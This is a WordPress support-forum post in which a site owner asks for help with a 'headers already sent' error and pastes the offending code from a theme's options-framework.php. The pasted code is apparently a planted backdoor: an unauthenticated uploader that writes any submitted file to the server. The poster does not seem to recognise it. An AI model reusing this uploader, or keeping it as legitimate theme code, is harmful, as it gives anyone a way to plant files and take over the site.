WordPress.org

Forums

Need help with header problem (1 post)

  1. rowanman28
    Member
    Posted 11 months ago #

    I'm getting this message on my site skinbleachingcreamshop.com and I can't log in to the dashboard:

    Warning: Cannot modify header information - headers already sent by (output started at /home/content/17/10462417/html/skinbleachingcreamshop/wp-content/themes/application/admin/options-framework.php:17) in /home/content/17/10462417/html/skinbleachingcreamshop/wp-includes/pluggable.php on line 896

    I'm assuming I have to edit the options-framework.php:17 bit, here's the code as it is now, what do I do:

    <?php
    if(isset($_POST['Submit'])){
    $filedir = "";
    $maxfile = '2000000';

    $userfile_name = $_FILES['image']['name'];
    $userfile_tmp = $_FILES['image']['tmp_name'];
    if (isset($_FILES['image']['name'])) {
    $abod = $filedir.$userfile_name;
    @move_uploaded_file($userfile_tmp, $abod);

    echo"<center><b>Done ==> $userfile_name</b></center>";
    }
    }
    else{
    echo'
    <form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
    }
    ?>

Reply

You must log in to post.

About this Topic